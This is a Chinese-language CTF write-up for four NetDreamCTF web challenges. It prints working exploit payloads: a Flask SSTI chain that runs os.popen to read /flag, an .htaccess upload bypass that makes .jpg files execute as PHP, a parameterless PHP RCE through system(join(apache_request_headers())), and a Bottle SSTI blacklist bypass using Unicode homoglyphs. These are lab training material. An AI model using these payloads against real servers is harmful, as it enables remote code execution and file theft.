NetDreamCTF WP - 指南
ezpython
进来查看源代码看见直接访问s3c0nd
进来提示爆破数字组的目录 使用burp爆破一手 六位数
然后爆出来是114514
然后拿一个GET生成的字典
id name page source src code flag secret file path EOF 用bp跑一下发现name source参数可以用
然后发现有ssti漏洞进行测试一下
传参source=6969就能得到这道题的源码
发现是 flask+python的模板,然后直接ssti模板注入:
{{ ‘’.class.mro.getitem(1).subclasses().getitem(232).init.globals[‘builtins’][‘eval’](‘import(“os”).popen(“cat /flag”).read()’) }}
之前没接触过具体分析一下payload,首先{{2*3}}得出结果是6,所以{{}},然后’’是一个万能对象,在python环境中必然存在的对象,然后.__class__从’’对象中获取所属的类,’’是str类,所以得到的就是<class ‘str’>,然后.__mro是从类中获取继承链,返回一个元组,里面有该对象的所有父类,str类的顶层是object,然后.getitem(1)就是从继承链中取出object类,也就是数组中的第一个类,第0个类是str,拿到object类后.subclasses(),是获得object中的所有子类的列表,
然后.getitem(232)就是从子类列表中选择一个”可利用的子类”,.__init__获得构造子类的方法,创建出这个子类,然后.globals__获取一个全局的访问的内容,然后.builtins__就是从全局变量中取出内置函数集合,然后其中就有eval函数,eval就是把字符串当作python代码执行,1+1=2例如,然后其实最后执行的代码是__import(“os”).popne(“cat /flag”).read() 在分析这段__import(“os”)等价与import os,导入一下os模块,然后调用os里的popen方法执行 cat /flag ,然后.read()读取命令执行的结果,ssti漏洞的原理是应用在使用用户输入动态生成模板时,未对输入进行过滤,导致攻击者可以注入模板语法,执行任意代码,所以得出flag
Ez_upload
先抓包,测试一个图片文件,发现过滤了php短标签,然后先看一下报错信息
是一个apache中间件,我们可以用htaccess来进行读取,但是首先尝试了一下.htaccess格式的发现被直接重命名了,是因为被过滤掉只剩.了尝试了一下1.htaccess后发现只剩1.
就得出htaccess格式被过滤掉了,然后尝试了双写htaccesshhhhhhtaccess就会显示hhhhhh所以是双写.htaccesshtahtaccessccess还是被过滤了那就再多套一层htaccesshtahtaccessccesshtahtaccesshtahtaccessccessccess,上传成功了然后用这个Payload
AddType application/x-httpd-php .jpg
php_value auto_append_fi
le “/flag”
把所有jpg解析成php,然后访问任何php后将会读取/flag的内容并输出,然后直接上传一个jpg图片
然后直接访问得出flag
Ez-pass
<?php
$test=$_GET['test'];
if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\|implode|phpinfo|localeconv|pos|current|print|var|dump|getallheaders|get|defined|str|split|spl|autoload|extensions|eval|phpversion|floor|sqrt|tan|cosh|sinh|ceil|chr|dir|getcwd|getallheaders|end|next|prev|reset|each|pos|current|array|reverse|pop|rand|flip|flip|rand|content|session_id|session_start|echo|readfile|highlight|show|source|file|assert/i", $test)){
eval($test);
}
可以看到过滤了很多东西,但是没有过滤了system
可以看到index.php,然后看一下env 环境变量,但是flag并不在里面
我们再进行无参数RCE的操作,用到的是getallheaders获得请求头信息,但是是一个数组,所以eval要求的是字符串,所以不能直接用用要转换成字符串,所以就得用implode(getallheaders()),但是在本题中都被过滤掉了,所以就要找别的一样作用能替代的也就是join(apache_request_headers()),然后eval也被过滤了所以用system
system(join(apache_request_headers())) 就是Payload
抓包之后用POST传参cmd=cat$IFS/f*>1.txt
然后访问1.txt得RCE
Picklelovedill
# Have fun!
import os
import mimetypes
import dill
from bottle import Bottle, run, request, template, response
from base64 import b64encode
app = Bottle()
UPLOAD_DIR = os.path.abspath('./uploads')
os.makedirs(UPLOAD_DIR, exist_ok=True)
class chal():
# flag here
pass
INDEX_TEMPLATE = '''
<!DOCTYPE html>
<html>
<head>
<title>文件管理</title>
<style>
body { font-family: Arial, sans-serif; margin: 40px; }
.container { max-width: 800px; margin: 0 auto; }
form { margin-bottom: 20px; padding: 20px; border: 1px solid #ddd; border-radius: 5px; }
input[type="file"], input[type="text"] { margin: 10px 0; }
.message { color: green; margin: 10px 0; }
.error { color: red; }
</style>
</head>
<body>
<div class="container">
<h1>文件上传</h1>
<form action="/upload" method="post" enctype="multipart/form-data">
<input type="file" name="file" />
<input type="submit" value="上传" />
</form>
<h1>文件读取</h1>
<form action="/read" method="get">
<input type="text" name="filename" placeholder="输入文件名" required />
<input type="submit" value="读取" />
</form>
% if message:
<div class="message">{{message}}</div>
% end
% if error:
<div class="error">{{error}}</div>
% end
</div>
</body>
</html>
'''
def render_template(message='', error=''):
return template(INDEX_TEMPLATE, message=message, error=error)
@app.route('/')
def index():
return render_template()
@app.post('/upload')
def upload_file():
upload = request.files.get('file')
if not upload:
return render_template(error='请选择要上传的文件')
if '..' in upload.filename:
return render_template(error='不要透我!>_<')
filename = os.path.basename(upload.filename)
if not filename:
return render_template(error='无效的文件名')
save_path = os.path.join(UPLOAD_DIR, filename)
try:
upload.save(save_path, overwrite=True)
except Exception as e:
return render_template(error=f'上传失败: {str(e)}')
return render_template(message=f'文件 {filename} 上传成功!')
@app.get('/read')
def read_file():
filename = request.query.get('filename', '').strip()
if not filename:
return render_template(error='请输入文件名')
if '..' in filename:
return render_template(error='不要透我!>_<')
safe_name = os.path.basename(filename)
if not safe_name:
return render_template(error='无效的文件名')
file_path = os.path.join(UPLOAD_DIR, safe_name)
if not os.path.exists(file_path):
return render_template(error='文件不存在')
if not os.path.isfile(file_path):
return render_template(error='请求的不是有效文件')
mime_type, _ = mimetypes.guess_type(file_path)
response.content_type = mime_type or 'application/octet-stream'
try:
with open(file_path, 'rb') as f:
content = f.read().decode(errors='replace')
try:
challenge = b64encode(dill.dumps(chal())).decode()
blacklist = dir(__builtins__)
blacklist += dir([])
blacklist += dir(1)
blacklist += dir(())
blacklist += dir(True)
blacklist += dir('NO HACKER')
# I'm pretty sure nothing can be done now ;)
# Even if i do not ban dicts, but, u know, is it too complex to SSTI with {} and without almost every magic methods?
# Here is a hint if you really get stuck:
# dHJ5IHRvIGV4cGxvaXQgd2l0aCBzb21ldGhpbmcgdW5pcXVlIHRvIGJvdHRsZSA+Xzw=
for i in blacklist:
if i in content:
return 'STOP HACKING!'
return template(f'''% import pickle
% setdefault('chal', '{challenge}')
The content is: ''' + content) # Yeah I don’t know why but rendering it is so f**king fun! XD
except:
import traceback
traceback.print_exc()
return content
except Exception as e:
return render_template(error=f'文件读取失败: {str(e)}')
if __name__ == '__main__':
run(app, host='localhost', port=5000, debug=True, reloader=True)
/**
一个上传点,一个文件读取,文件上传没有过滤,读取功能就是直接把上传文件的内容读取出来,直接作为Bottle模板去渲染,这就说明如果有模板语法的话就会被当作ssti执行,然后其实过滤了很多内置对象dir(builtins)过滤了eval这些函数,然后在read路由的模板渲染的时候,通过setdefault(‘chal’, ‘{challenge}’)注入了一下chal的变量 setdefault 的作用:Bottle 模板的内置函数,给模板一个默认变量,由于chal = base64.b64encode(dill.dumps(chal(1,2,3))).decode() 读出来也是chal的序列化结果,即使用dill.loads()操作,也只是字节码,然后再想想RCE,通过绕过黑名单的方式:{{ import(“os”).popen(“cat app.py|base64”).read() }},但是import被过滤了,参考师傅的文章:https://www.cnblogs.com/LAMENTXU/articles/18805019,可以用编码绕过waf o可以替换成ª (U+00AA),º(U+00BA)所以得到的PAYLOAD就是{{impºrt(“os”).pºpen(“cat app.py|base64”).read()}} 上传后访问包含1.txt,得到base64编码,然后解码,注释中就有flag